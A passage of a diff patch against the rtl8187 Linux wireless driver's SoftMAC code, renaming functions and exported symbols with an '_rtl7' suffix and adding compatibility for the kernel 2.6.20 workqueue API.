ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); @@ -1285,18 +1300,18 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); } -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) { int timeout = ieee->ps_timeout; u8 dtim; @@ -1343,7 +1358,7 @@ } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; @@ -1360,12 +1375,12 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee, 1); + ieee80211_sta_wakeup_rtl7(ieee, 1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; @@ -1386,7 +1401,7 @@ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee,1); + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); ieee->ps_th = th; ieee->ps_tl = tl; @@ -1400,7 +1415,7 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee,1); + ieee80211_sta_wakeup_rtl7(ieee,1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } @@ -1410,13 +1425,13 @@ } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; @@ -1429,11 +1444,11 @@ if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; @@ -1454,7 +1469,7 @@ if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,17 +1477,18 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -1496,19 +1512,19 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - ieee80211_associate_complete(ieee); + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; @@ -1519,7 +1535,7 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - ieee80211_rx_assoc_rq(ieee, skb); + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_AUTH: @@ -1530,23 +1546,23 @@ IEEE80211_DEBUG_MGMT("Received authentication response"); - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - ieee80211_associate_step2(ieee); + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; @@ -1558,7 +1574,7 @@ ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - ieee80211_rx_probe_rq(ieee, skb); + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_DISASSOC: @@ -1573,8 +1589,8 @@ ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } @@ -1610,7 +1626,7 @@ * to the driver later, when it wakes the queue. */ -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { @@ -1643,7 +1659,7 @@ #endif /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { @@ -1662,7 +1678,7 @@ } } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); exit: spin_unlock_irqrestore(&ieee->lock,flags); @@ -1670,7 +1686,7 @@ } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { @@ -1690,19 +1706,19 @@ } - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,7 +1726,7 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -1723,7 +1739,7 @@ ieee->queue_stop = 0; if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ header = (struct ieee80211_hdr_3addr *) skb->data; @@ -1738,7 +1754,7 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); + ieee80211_resume_tx_rtl7(ieee); if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; @@ -1750,7 +1766,7 @@ } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1765,7 +1781,7 @@ } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { get_random_bytes(ieee->current_network.bssid, ETH_ALEN); @@ -1778,7 +1794,7 @@ } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; @@ -1796,7 +1812,7 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1804,7 +1820,7 @@ netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ @@ -1814,8 +1830,15 @@ netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { +#endif /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET @@ -1834,7 +1857,7 @@ } /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after @@ -1851,13 +1874,13 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); + ieee80211_randomize_cell_rtl7(ieee); if(ieee->modulation & IEEE80211_CCK_MODULATION){ @@ -1901,9 +1924,9 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1913,13 +1936,13 @@ up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,7 +1950,7 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we @@ -1937,34 +1960,42 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); + ieee80211_reset_queue_rtl7(ieee); if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; @@ -1986,12 +2017,12 @@ */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); spin_lock_irqsave(&ieee->lock, flags); if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -1999,14 +2030,14 @@ up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_probe_resp(ieee, broadcast_addr); + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); if (!skb) return NULL; @@ -2018,12 +2049,12 @@ } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if(!skb) return NULL; @@ -2038,44 +2069,44 @@ return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; ieee->proto_started = 0; - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; @@ -2094,9 +2125,7 @@ if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2109,21 +2138,18 @@ */ if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); @@ -2143,7 +2169,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; @@ -2153,25 +2179,34 @@ init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); #else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); @@ -2179,12 +2214,12 @@ spin_lock_init(&ieee->beacon_lock); tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); @@ -2201,7 +2236,7 @@ ********************************************************/ -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2211,16 +2246,16 @@ } -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { int ret = 0; @@ -2231,7 +2266,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2278,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,14 +2302,14 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { struct ieee80211_security sec = { @@ -2300,13 +2335,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2386,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,7 +2403,7 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; @@ -2407,7 +2442,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2456,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2477,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2560,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2552,20 +2587,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2585,7 +2620,7 @@ return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2632,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-04-23 00:09:00.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + 